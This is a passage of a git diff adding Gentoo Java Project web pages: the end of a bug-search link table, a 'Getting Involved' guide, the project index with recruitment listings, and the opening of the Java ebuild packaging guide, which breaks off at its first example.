+	<ti><uri link="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=EBUILD&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;bug_status=RESOLVED&amp;bug_status=VERIFIED&amp;bug_status=CLOSED&amp;resolution=---&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=maintainer-wanted%40gentoo.org&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=java%40gentoo.org&amp;bugidtype=include&amp;bug_id=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Bug+Number&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">list</uri></ti>
+  </tr>
+  <tr>
+    <th>Ebuild requests:</th>
+	<ti></ti>
+	<ti><uri link="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=REQUEST&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;bug_status=RESOLVED&amp;bug_status=VERIFIED&amp;bug_status=CLOSED&amp;resolution=---&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=maintainer-wanted%40gentoo.org&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=java%40gentoo.org&amp;bugidtype=include&amp;bug_id=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Bug+Number&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">list</uri></ti>
+  </tr>
+  </table>
+
+  </body>
+  </section>
+</chapter>
+</guide>
+<!-- vim: set expandtab ts=2 -->
diff --git a/xml/htdocs/proj/en/java/getting-involved.xml b/xml/htdocs/proj/en/java/getting-involved.xml
new file mode 100644
index 00000000..7561d2e8
--- /dev/null
+++ b/xml/htdocs/proj/en/java/getting-involved.xml
@@ -0,0 +1,265 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/doc/en/why_build_from_source.xml" lang="en">
+  <title>Getting Involved</title>
+
+  <author title="Author">
+    <mail link="betelgeuse@gentoo.org">Petteri Raty</mail>
+  </author>
+  <author title="Author">
+    <mail link="wltjr@gentoo.org">William L. Thomson Jr.</mail>
+  </author>
+
+  <abstract>
+    This document provides information on how one can get involved and 
+    help out with the Gentoo Java Project.
+  </abstract>
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+  <license/>
+
+  <version>1.7</version>
+  <date>2008-01-31</date>
+
+  <chapter>
+    <title>Overview</title>
+    <section>
+      <body>
+        <p>
+          This document aims to provide information on how one can get
+          involved and help out with the Gentoo Java Project. The following
+          are ideas of areas and ways one can help out. Due to the volume of
+          inquiries at times. It's more effective and efficient to provide
+          those looking to get involved with some detailed guidance via this
+          document.
+        </p>
+        <p>
+          This document is just a guide, not a how to. For questions not
+          address in this document. Please get in touch with the active
+          developers and contributors via participation on either IRC or our
+          mailing list.
+        </p>
+        <p>
+	  Comments, thoughts, and feedback on this document is greatly
+          appreciated and welcomed.
+        </p>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Testing</title>
+    <section>
+      <body>
+        <dl>
+          <dd>
+            <ul>
+              <li>
+                Compile them with a bunch of jdks (at least stable marked 
+                ibm-jdk-bin and sun-jdk versions should be installed locally).
+				Here's a simple script to 
+                <uri link="http://overlays.gentoo.org/proj/java/browser/scripts/compile-with-all-jdks">compile with all jdks</uri>
+                .
+              </li>
+              <li>
+                Check with USE="doc" that javadocs install to 
+                <path>/usr/share/doc/${PF}/html/api</path>
+                If the ebuild installs them elsewhere for example to keep html 
+                documentation links working, there should still be a symlink
+              </li>
+              <li>
+                run <c>FEATURES="test" USE="test" ebuild &lt;ebuild&gt; clean install</c>
+                (not all java packages have unit tests)
+              </li>
+              <li>
+                compile all reverse dependencies if we are talking about a 
+                version bump (<c>!rdep &lt;pkg&gt;</c> to jeeves on IRC for example)
+              </li>
+              <li>
+                Check
+                <uri link="http://overlays.gentoo.org/proj/java/browser/testcases">source:testcases</uri> 
+                if the package has testcases in our svn.
+              </li>
+            </ul>
+          </dd>
+        </dl>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Development</title>
+    <section>
+      <body>
+        <p>
+          The most obvious way to help out is with development. This means 
+          improving existing ebuilds, updating ebuilds for new versions of 
+          packages, and working on ebuilds for new packages.
+        </p>
+        <dl>
+          <dd>
+            <ul>
+              <li>
+                Create ebuilds for ebuild request bugs or for packages you use
+                and/or need packaged. Attaching contributed ebuild and/or patch
+                as an attachment to any bugs.
+              </li>
+              <li>
+                File bugs with patches attached for any existing ebuilds that
+                are outdated and/or need to be bumped to the latest release.
+              </li>
+              <li>
+                Test out contribute to completing packages in java overlays.
+                Usually java-experimental overlay which is not available 
+                via layman. It must be checked out manually.
+              </li>
+            </ul>
+          </dd>
+        </dl>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Bugs</title>
+    <section>
+      <title>Reporting</title>
+      <body>
+        <p>
+          Software is bound to have bugs. Reporting bugs found is very 
+          important, because there may be some USE cases or scenarios that 
+          developers may not have accounted for. Without reporting the 
+          bugs might go unnoticed and never be fixed. Leaving it for 
+          others to run into just as you have.
+        </p>
+      </body>
+    </section>
+    <section>
+      <title>Squashing</title>
+      <body>
+        <p>
+          The number of open bugs assigned to the Java team is a bit 
+          astounding. Any help with squashing them is always appreciated.
+        </p>
+        <p>
+	  <uri link="http://tinyurl.com/n9qb">Bugs assigned to the Java Team</uri>
+        </p>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Community</title>
+    <section>
+      <title>IRC</title>
+      <body>
+        <p>
+          Hang around #gentoo-java. It small, yet bustling little channel in 
+          our corner of freenode. The primary developers of Java on Gentoo are 
+          there most of the time. The channel is like the pulse of the Java 
+          team, where most interaction takes place. This means you'll see 
+          development as it is happening.
+        </p>
+        <p>
+          Simply being around showing support is nice. Contributing to 
+          discussions that come up, or troubleshooting bugs that arise would 
+          be even better.
+        </p>
+      </body>
+    </section>
+    <section>
+      <title>Mailing List</title>
+      <body>
+        <p>
+          Joining our
+          <uri link="http://www.gentoo.org/main/en/lists.xml">
+          gentoo-java mailing list
+          </uri> and asking/answering questions.
+        </p>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Documentation</title>
+    <section>
+      <title>Writing</title>
+      <body>
+        <p>
+          Helping us write documentation is always appreciated.
+        </p>
+      </body>
+    </section>
+    <section>
+      <title>Reading</title>
+      <body>
+        <p>
+          Useful documentation for people wanting to help can be found in:
+        </p>
+        <dl>
+          <dd>
+            <ul>
+              <li>
+                <uri>http://devmanual.gentoo.org/</uri>
+              </li>
+              <li>
+                <uri>http://www.gentoo.org/proj/en/devrel/quiz/</uri>
+              </li>
+            </ul>
+          </dd>
+        </dl>
+      </body>
+     </section>
+     <section>
+      <title>Documentation on Java ebuild writing</title>
+      <body>
+        <p>
+          Useful documentation for people wanting to write Java ebuilds:
+        </p>
+        <dl>
+          <dd>
+            <ul>
+              <li>
+                <uri link="java-devel.xml">Gentoo Java Developer Guide</uri>
+              </li>
+              <li>
+                <uri link="ant-guide.xml">Gentoo Ant Guide</uri>
+              </li>
+              <li>
+                <uri link="http://overlays.gentoo.org/proj/java/wiki/Migrating_packages">Differences between Generation 1 and 2</uri>
+              </li>
+            </ul>
+          </dd>
+        </dl>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Evangelism</title>
+    <section>
+      <body>
+        <p>
+          Spreading the word about Gentoo as a Java development platform.
+        </p>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>More</title>
+    <section>
+      <body>
+        <p>
+          So you want to do more eh? Well you can always put in the effort to
+	  become a official Gentoo Developer. Please refer to
+	  <uri link="http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=1&amp;chap=2">
+	  Becoming a Developer</uri> in the
+	  <uri link="http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml">
+	  Gentoo Developer Handbook</uri>.
+        </p>
+      </body>
+    </section>
+  </chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/java/index.xml b/xml/htdocs/proj/en/java/index.xml
new file mode 100644
index 00000000..516aa96e
--- /dev/null
+++ b/xml/htdocs/proj/en/java/index.xml
@@ -0,0 +1,233 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+<name>Java</name>
+<longname>The Java Project</longname>
+<date>2008-04-03</date>
+
+<author title="author">
+  <mail link="nichoj@gentoo.org">Joshua Nichols</mail>
+</author>
+
+<author title="author">
+	<mail link="karltk@gentoo.org">Karl Trygve Kalleberg</mail>
+</author>
+
+<author title="author">
+	<mail link="wltjr@gentoo.org">William L. Thomson Jr.</mail>
+</author>
+
+<description>
+The Java Project handles all Gentoo-related Java things.
+</description>
+
+<longdescription>
+<p>
+The Java Team maintains most packages related to Java development in the 
+Portage tree, which at the present time of writing encompass over 350 
+different packages.
+</p>
+
+<p>
+Highlights include the Apache Java Projects, 
+JDK/JREs from <uri link="http://www.blackdown.org/">Blackdown</uri>, <uri link="http://java.sun.com/j2se/">Sun</uri>, 
+<uri link="http://www-106.ibm.com/developerworks/java/jdk/">IBM</uri>, <uri link="http://h18012.www1.hp.com/java/">Compaq</uri>, 
+<uri link="http://www.jrockit.com/">BEA</uri>, and of course <uri link="http://www.kaffe.org/">Kaffe</uri>. 
+
+We also package some alternative languages for the JVM, 
+such as <uri link="http://groovy.codehaus.org/">Groovy</uri>, <uri link="http://jruby.sourceforge.net/">JRuby</uri>, and <uri link="http://www.jython.org/">Jython</uri>. 
+
+We package IDEs such as <uri link="http://www.eclipse.org/">Eclipse</uri>, and <uri link="http://www.netbeans.org/">NetBeans</uri>. 
+And of course, there is a wide variety of Java libraries and applications. 
+</p>
+</longdescription>
+
+  <recruitment>
+    <job>
+      <summary>General package maintainer</summary>
+      <details>
+        General java package maintainer to help out with managing the herd.
+        Along with java packages in other herds. Revision bumping, bug
+        filing/fixing, stabilizing, updating ebuilds per eclass or syntax
+        changes, etc.
+      </details>
+      <requirements>
+        Experience with Java on Linux, ideally Gentoo. Building java
+        applications from source. Some experience with ant, build.xmls,
+        patching java sources, and package build systems. 
+      </requirements>
+      <contact>java@gentoo.org</contact>
+    </job>
+    <job>
+      <summary>Glassfish package maintainer</summary>
+      <details>
+        Package from source and maintain
+        <uri link="https://glassfish.dev.java.net/">Glassfish</uri>
+        and related packages. Due to the size of Glassfish, many ebuilds will
+        need to be created for the various pieces. Possibly even a eclass.
+        Along with maintaining it all for at least 1 year or longer. Which
+        includes keeping package current with upstream. Glassfish has several
+        dependenies required to build from source that will also need to be
+        packaged and maintained as well.
+      </details>
+      <requirements>
+	6 months - 1 year experience with Glassfish. Ideally in a production 
+        environment running Gentoo or some flavor of Linux. Ability to work
+        with Glassfish sources, and build it from source.
+      </requirements>
+      <contact>java@gentoo.org</contact>
+    </job>
+    <job>
+      <summary>JBoss package maintainer</summary>
+      <details>
+        Package from source and maintain
+        <uri link="http://www.jboss.com/products/platforms/application">JBoss</uri>
+        and related packages. Due to the size of JBoss, many ebuilds will
+        need to be created for the various pieces. Possibly even a eclass.
+        Along with maintaining it all for at least 1 year or longer. Which
+        includes keeping package current with upstream. JBoss has several
+        dependenies required to build from source that will also need to be
+        packaged and maintained as well.
+      </details>
+      <requirements>
+	6 months - 1 year experience with JBoss. Ideally in a production 
+        environment running Gentoo or some flavor of Linux. Ability to work
+        with JBoss sources, and build it from source.
+      </requirements>
+      <contact>java@gentoo.org</contact>
+    </job>
+    <job>
+      <summary>Tomcat package maintainer</summary>
+      <details>
+        Maintain
+        <uri link="http://tomcat.apache.org/">Tomcat</uri>
+        and related packages. Its already packaged and working with a few open
+        bugs with the effors of William L. Thomson Jr. The volunteer will take
+        over his work since he will retire soon. Tomcat has several dependenies
+        required to build from source that will also need to be maintained as well.
+      </details>
+      <requirements>
+	6 months - 1 year experience with Tomcat. Ideally in a production 
+        environment running Gentoo or some flavor of Linux. Ability to work
+        with Tomcat sources, and build it from source.
+      </requirements>
+      <contact>java@gentoo.org</contact>
+    </job>
+    <job>
+      <summary>Jetty package maintainer</summary>
+      <details>
+        Package from source and maintain
+        <uri link="http://www.mortbay.org/">Jetty</uri>
+        and related packages. Along with maintaining it all for at least 1
+        year or longer. Which includes keeping package current with upstream.
+      </details>
+      <requirements>
+	6 months - 1 year experience with Jetty. Ideally in a production 
+        environment running Gentoo or some flavor of Linux. Ability to work
+        with Jetty sources, and build it from source.
+      </requirements>
+      <contact>java@gentoo.org</contact>
+    </job>
+    <job>
+      <summary>Maven package maintainer and portage integrator</summary>
+      <details>
+        Package from source and maintain
+        <uri link="http://maven.apache.org/">Maven</uri>
+        and related packages. Maven itself is packaged from source in the
+        java-overlay, but needs to be updated, maintained, and added to tree.
+        At which time Maven, along with Maven repositories need to be 
+        integrated with Gentoo's Java build system. Which presently is designed 
+        entirely around ant. Then maintaining it all for at least 1 year or
+        longer. Which includes keeping package current with upstream. Most
+        all dependenies required to build from source have been package 
+        in the java-overlay. They will need to be added to tree and maintained
+        as well.
+      </details>
+      <requirements>
+	6 months - 1 year experience with Maven on Gentoo or some flavor 
+        of Linux. Ability to work with Maven sources, and build it from source.
+        Experience with the Gentoo Java build system and our Java specific 
+        eclasses.
+      </requirements>
+      <contact>java@gentoo.org</contact>
+    </job>
+  </recruitment>
+
+<dev role="lead" description="Primary, Packager and bug squasher">betelgeuse</dev>
+<dev role="member" description="Maintainer of Resin, Sun JWSDP and few other ebuilds, Java/PPC32">nelchael</dev>
+<dev role="member" description="Handling ant-related stuff, help with migration, bug squasher">caster</dev>
+<dev role="member" description="Maintainer of Netbeans, caring of related packages too">fordfrog</dev>
+<dev role="member" description="General package maintainer and bug squasher.">ali_bush</dev>
+<dev role="member" description="Maintainer of Eclipse, Groovy and other ebuilds.">elvanor</dev>
+<dev role="member" description="General Java application maintainer and bug squasher.">serkan</dev>
+
+<resource link="/doc/en/java.xml">User Guide</resource>
+<resource link="java-devel.xml">Developer Guide</resource>
+<resource link="java-upgrade.xml">Java Upgrade Guide</resource>
+<resource link="tiger-faq.xml">Java 1.5 FAQ</resource>
+<resource link="tomcat6-guide.xml">Guide for Tomcat 6.0.x on Gentoo</resource>
+<resource link="tomcat-guide.xml">Guide for Tomcat 5.x on Gentoo</resource>
+<resource link="http://overlays.gentoo.org/proj/java/wiki/overlays">Java Overlays</resource>
+<resource link="http://overlays.gentoo.org/proj/java/wiki/">Java Wiki</resource>
+<resource link="/main/en/lists.xml">Java Mailing List (gentoo-java)</resource>
+<resource link="bugs.xml">Java Bugs</resource>
+<resource link="http://news.gmane.org/gmane.linux.gentoo.java">Java Mailing List Archives</resource>
+<resource link="irc://irc.freenode.org/#gentoo-java">#gentoo-java on irc.freenode.org</resource>
+<resource link="why-build-from-source.xml">Why Build From Source</resource>
+<resource link="why-we-need-java-14.xml">Why We Need Java 1.4</resource>
+<resource link="getting-involved.xml">Getting Involved</resource>
+
+<extraproject name="java-config">
+	Java environment configuration tool
+</extraproject>
+
+<extraproject name="javatoolkit">
+	Gentoo-specific tools for Java
+</extraproject>
+
+<herd name="java"></herd>
+
+<!-- TODO move to separate file -->
+<extrachapter>
+<title>Call for help!</title>
+<section>
+<body>
+<p>
+  We are always looking for more help. We barely have enough
+  manpower to maintain our 350+ packages. Not to mention packages that 
+  require a dedicated maintainer like Eclipse, Netbeans, Tomcat, Resin, 
+  and several others that are no longer in true for this very reason. 
+  Specifically JBoss and Jetty. Others like Glassfish, Jasper Reports, 
+  OpenJDK/IcedTea, etc.
+</p>
+
+<p> 
+  On top of all that we need time and energy to extend our offering into new
+  areas. Such as natively compiled Java packages using gcj, providing an all
+  open source from source Java vm, developing a framework for packaging
+  webapps, packaging popular webapps themselves, or creation of a stable and
+  complete J2EE development platform.  
+</p>
+
+<p>
+  There are lots of areas we are in need. We are always seeking new team 
+  members, be it contributors or developers. All efforts are voluntary. 
+  We do not assign tasks or do much deligation of duties. Pretty much 
+  jump in and start helping out is our motto.
+</p>
+	
+<p>
+  If you have any interest in helping please read 
+  <uri link="getting-involved.xml">Getting Involved</uri>. Then get moving on
+  the ideas suggested in that document. The Java Team members are more 
+  than happy to help at any point along the way.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
+<!-- vim: set expandtab ts=2 -->
diff --git a/xml/htdocs/proj/en/java/java-devel.xml b/xml/htdocs/proj/en/java/java-devel.xml
new file mode 100644
index 00000000..9ae458b8
--- /dev/null
+++ b/xml/htdocs/proj/en/java/java-devel.xml
@@ -0,0 +1,1078 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/java/java-devel.xml,v 1.38 2009/05/10 19:53:55 betelgeuse Exp $ -->
+
+<guide link="/doc/en/java-devel.xml">
+<title>Gentoo Java Packaging Guide</title>
+
+<author title="Author">
+  <mail link="karltk@gentoo.org">Karl Trygve Kalleberg</mail>
+</author>
+
+<author title="Author">
+  <mail link="nichoj@gentoo.org">Joshua Nichols</mail>
+</author>
+
+<author title="Author">
+  <mail link="betelgeuse@gentoo.org">Petteri Räty</mail>
+</author>
+
+<abstract>
+This document serves two purposes. The first is to discuss the specifics of how Gentoo handles the Java platform. The second is to discuss how to package Java packages for Gentoo. This document assumes you are familiar with the Java User Guide.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0.6</version>
+<date>2008-01-18</date>
+
+<chapter>
+<title>Background</title>
+
+<section>
+<body>
+<p>
+Before going into details of how Java is handled on Gentoo, it is worthwhile to take a few moments to discuss current trends in the Java programming world.
+</p>
+</body>
+</section>
+
+<section>
+<title>Java Build Systems</title>
+<body>
+
+<p>
+There are a few build systems commonly used for Java projects. Apache's <c>ant</c> (Another Neat Tool) is by far the most common. It is a task oriented system. This means that you give Ant instructions on what tasks to perform and how to perform them to build your project. For example, compile these source files using this class path, create a jar of these classes, and so on. It is fairly easy to get up and running with Ant. Unfortunately, it leaves a lot of room for variation, so Ant scripts are terribly inconsistent from one project to the next. 
+</p>
+
+<p>
+<c>Maven</c> is another Apache project which has been gaining popularity. In contrast to <c>ant</c>, it is a project based system. This means that you give maven information about your project, and once that's established, you can do many things without any further configuration. For example, you tell <c>maven</c> your project's name and where your source is, and you can then tell <c>maven</c> "Hey <c>maven</c>, make me a jar and some javadocs too!" Another feature of maven is its ability take care of making a project's dependencies available by downloading them from mirrors.
+</p>
+
+<p>
+You can also find a number of packages using the classic combination of autoconf and automake. They will mostly be found on projects that interact with existing C and C++  libraries. Unfortunately, automake and autoconf are used mostly dealing with the non-Java bits, leaving the Java bits wedged where it can fit.
+</p>
+<p>
+Lastly, you may find custom scripts which will attempt to run <c>javac</c>, <c>jar</c>, and <c>javadoc</c> itself, or it may just be a wrapper for ant to properly prepare the build environment.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Bundled Dependencies</title>
+<body>
+
+<p>
+One of the features of Java has always been "compile once, run everywhere." A consequence of this is that Java developers traditionally bundle all library dependencies with their project's distribution. While this might be convenient for the end-user, it rapidly becomes problematic from a packager's point of view.
+</p>
+
+<p>
+For example, project A depends on C, and project B depends on C, and you have project A and B installed, then you'd have two copies of C installed to support it. And if there's new release of C with a bug or security fix , you would want both A and B to take advantage of it.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Java on Gentoo</title>
+
+<section>
+<body>
+<p>
+This section will give you more insight into how Gentoo handles Java. You should be familiar with the Java User Guide before proceeding.
+</p>
+</body>
+</section>
+
+<section>
+<title>Virtual Machines (VMs)</title>
+<body>
+<p>
+As discussed in the User Guide, there are several VMs available from portage.
+</p>
+
+<p>
+Testing all packages to ensure they build and run with every VM is a huge undertaking, and there simply are not enough resources to guarantee every package will build and run with every VM.
+</p>
+<p>
+We now maintain a list of "supported virtual machines" for each architecture. These are the VMs we will test the packages against before committing changes to portage. When you emerge a package, it will by default try to use the best "supported virtual machine."
+</p>
+
+<p>
+Of course, Gentoo and Linux in general are about choice, so if you prefer a different VM over the "supported virtual machines", you can easily use that VM instead. However, you should also know that bugs reported with one of the non-"supported virtual machine" will get a low priority if it isn't present using a "supported virtual machine".
+</p>
+</body>
+</section>
+
+<section>
+<title>Configuring which VM to Use</title>
+<body>
+
+<p>
+You can choose which VM to use on a per-user basis, and which VM to use for the system (ie when running things as root). Both of these are configured using java-config.
+</p>
+
+<p>
+A user's current VM is represented by a symlink located at <path>~/.gentoo/java-config-2/current-user-vm</path>. This symlink points to the <c>JAVA_HOME</c> of the chosen VM. Similarly, the system VM is represented by a symlink at <path>/etc/java-config-2/current-system-vm</path>.
+</p>
+
+<p>
+The current VM can also be changed on the fly. This can be accomplished setting the environment <c>GENTOO_VM</c> to contain the name of a VM that java-config knows about.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Java Tools</title>
+<body>
+
+<p>
+The traditional Java tools, ie, <c>java</c>, <c>javac</c>, <c>javadoc</c>, etc, are all located in /usr/bin. They are actually all symlinks to the <c>run-java-tool</c> script. This script will call the appropriate tool, depending on how the script is invoked, from the current VM. <c>GENTOO_VM</c> is first checked, then the user VM, and lastly the system VM.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Build-time VM Switching</title>
+<body>
+
+<p>
+As outlined in the User Guide, and mentioned briefly earlier, the VM will switch at build time to accommodate the needs of the package. The VM to use is first determined by <c>JAVA_PKG_FORCE_VM</c>, then <path>/etc/java-config-2/build/jdk.conf</path>, and lastly the system VM.
+</p>
+
+</body>
+</section>
+
+<section id="compatibility">
+<title>Bytecode Compatibility</title>
+<body>
+
+<p>
+The default behavior of <c>javac</c> is to compile bytecode that will compatible with the current VM version and higher (ie forward compatible). This becomes particularly problematic when trying to use a lower versioned VM. For example, source compiled with 1.4 will be compatible with 1.4 and 1.5, and source compiled with 1.5 will only be compatible with 1.5.  This makes it particularly difficult to revert to an earlier VM.
+</p>
+<p>
+It is possible to specify which VM to compile for to provide the best compatibility.
+</p>
+<p>
+At build time, the <c>DEPEND</c> and <c>RDEPEND</c> will determine what VM to compile for based on virtual/jdk and virtual/jre. Additionally, this can be controlled by the environment variables <c>JAVA_PKG_WANT_SOURCE</c> and <c>JAVA_PKG_WANT_TARGET</c>.
+</p>
+<p>
+There is a wrapper for <c>javac</c>, <c>ejavac</c>, which will use the appropriate VM's <c>javac</c>, and then specify the appropriate -target and -source. For projects that use <c>ant</c>, the build.xml can be translated to specify the appropriate -target and -source.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo Java Packaging Policy</title>
+
+<section>
+<body>
+<p>
+In addition to other Gentoo policies, there are a few unique to Java packages, or that need special attention.
+</p>
+</body>
+</section>
+
+<section>
+<title>Why build from source?</title>
+<body>
+
+<p>
+We should strive to only accept ebuilds that build from source code. For 
+reasons why, please refer to 
+<uri link="why-build-from-source.xml">Why Build From Source</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Filesystem Layout</title>
+<body>
+
+<p>
+In general, the directory policies are handled for you by the helper functions
+in the <uri link="#java-utils-2.eclass">java-utils-2</uri> eclass.
+</p>
+
+<p>
+These functions adhere to the following path name conventions:
+</p>
+
+<ul>
+	<li>
+		/usr/share/${PN}-${SLOT}/package.env contains information about the package
+	</li>
+
+	<li>
+		.jar files created from source code are installed to /usr/share/${PN}-${SLOT}/lib/ 
+	</li>
+
+	<li>
+		.jar pre-built files not compiled by the ebuild are installed to /opt/${PN}-${SLOT}/lib
+	</li>
+
+	<li>
+		Javadoc documentation is installed to /usr/share/doc/${PF}/html/api/ 
+	</li>
+
+	<li>
+		Source archives are installed to /usr/share/${PN}-${SLOT}/source/ 
+	</li>
+
+	<li>
+		User-executable scripts are installed to /usr/bin 
+	</li>
+
+	<li>
+		System-wide environment files are in installed to /usr/env.d/java 
+	</li>
+
+	<li>
+		User-specific environment files can be put into ${HOME}/.gentoo/env.d/
+	</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Slotting</title>
+<body>
+
+<p>
+Libraries should be slotted according to the API they provide. If two version have the same API, or if a new version is fully compatible with the previous version, then they should be in the same SLOT.
+</p>
+
+<p>
+Java libraries have a tendency to sometimes break API and ABI between minor revisions, ie from 2.1.1 to 2.1.2. As a result, it is necessary to slot early, and slot often.
+</p>
+
+<p>
+For applications, it is mostly sufficient to keep only the latest version. If the application comes in series, such as Eclipse, we want to keep the latest revision in each series. Very old series may eventually be dropped completely.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Dependencies</title>
+<body>
+
+<p>
+	Packages should not use bundled jars. Instead, they should make use of jars from already installed packages.
+</p>
+
+<p>
+When depending on a package, take care that you depend on a sufficiently recent version, and explicitly ensure at building time that the providing package gives you the correct interface, i.e. the correct <c>SLOT</c>. 
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter id="writing_the_ebuild">
+<title>Writing the ebuild</title>
+<section id="general_guidelines">
+<title>General Guidelines</title>
+<body>
+
+<p>
+In addition to standard Gentoo ebuild guidelines, there are a number specific for Java packages:
+</p>
+
+<ul>
+  <li>In RDEPEND, use ">=virtual/jre-[minimal-version]". If you need a JDK for normal operation, like www-servers/tomcat used to, then you should use ">=virtual/jdk-[minimal-version]". The jre atom MUST have a version.</li>
+
+  <li>In DEPEND, use ">=virtual/jdk-[minimal-version]", unless the ebuild is not compiling source. The jdk atom MUST have a version.</li>
+
+  <li>For packages that use Ant to build, try to DEPEND on just dev-java/ant-core when possible instead of dev-java/ant.
+	  dev-java/ant-core is automatically added to DEPEND if you inherit java-ant-2.
+	  If the package makes use of 'optional' ant tasks, you'll need to DEPEND on dev-java/ant or
+	  add WANT_ANT_TASKS="ant-task" before inherit. The latter is of course preferred. see the 
+      <uri link="ant-guide.xml">Ant Guide</uri> for details.</li>
+
+  <li>For packages that are distributed as zip, you need to DEPEND on app-arch/unzip to unpack</li>
+
+  <li>Always use slot dependencies (EAPI 1 or later) as jars are installed to slot specific paths. Your DEPEND and RDEPEND should look like dev-java/some-library:1.2 or dev-java/another:0.</li>
+
+  <li>Avoid using bundled .jar files at all costs for source-based packages. Instead, they should use system installed versions with the help of our eclass functions.</li>
+
+  <li>If you only need the path to installed libraries, you can use java-pkg_getjar(s). Don't call java-config directly, because it will not be recorded as a dependency in the package env.</li>
+
+  <li>Always provide an easily understandable reason after 'die', so that end-users will provide the maintainers with sensible feedback if the build should fail.</li>
+
+  <li>
+  Avoid cluttering up the environment by adding environment files to /etc/env.d/. Instead, store your env file in /etc/env.d/java/, and then have user scripts source its environment file when it launches. Otherwise, developers, who regularly override CLASSPATH, CATALINA_HOME and other env vars, will have problems running regular apps.  If you use the <uri link="#launcher">launcher</uri> it will also automatically source the appropriate env file.
+</li>
+
+  <li>Make sure you always compile with correct a source/target. This is important to ensure future and backwards <uri link="#compatibility">compatibility</uri>.  If the packages use ant, this can be done for you automatically. See <uri link="#java-ant-2.eclass">java-ant-2.eclass</uri>.  If not you will have to patch it to pass <uri link="#func_query">$(java-pkg_javac-args)</uri> to javac.</li>
+
+  <li>Do no install jars which contain versions in their filename, ie castor-0.9.7.jar. Use java-pkg_newjar to rename and install versioned jars to not contain the version in their filename.</li>
+
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>USE flags</title>
+<body>
+
+<p>
+	If a manual or other extensive documentation is available, it should be installed using the doc USE flag.  If the build system can, you should build javadocs also using the <c>doc</c> USE flag. If it does not, you should consider patching it to do so, and provide the patch upstream. HTML documentation should be installed using <uri link="http://devmanual.gentoo.org/function-reference/install-functions/index.html">dohtml</uri> and javadocs using <uri link="#func_install">java-pkg_dojavadoc</uri>.
+</p>
+
+<p>
+If the program provides examples, in the form of source code or some other format, and you think they may be worthwhile for some users to have, install them optionally with the examples use flag using the <uri link="#func_install">java-pkg_doexamples</uri> function.
+</p>
+
+<p>
+If you want to go all the way, add the source USE flag that installs the
+complete source code as a .zip file. Use <uri
+link="#func_install">java-pkg_dosrc</uri> for this purpose.  This allows IDEs
+such as Eclipse and NetBeans to do complete source-level debugging. You will need to also DEPEND="source? ( app-arch/zip )" or add JAVA_PKG_IUSE="source" before inherit. Using JAVA_PKG_IUSE means that we can remove the app-arch/zip requirement in the future and use for example jar provided by virtual/jdk.
+</p>
+
+<p>
+If your package comes with unit tests, you can enable these using the test
+FEATURE, in src_test. If you need extra dependencies for the testing you can
+pull these in with the test useflag (for example dev-java/junit).
+We will no longer use the junit use flag for this.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Typical Examples</title>
+<body>
+
+<p>
+Without further ado, here are a few examples.
+</p>
+
+<pre caption="Example: Pure java package">
+
+EAPI="2"
+JAVA_PKG_IUSE="doc examples source"
+
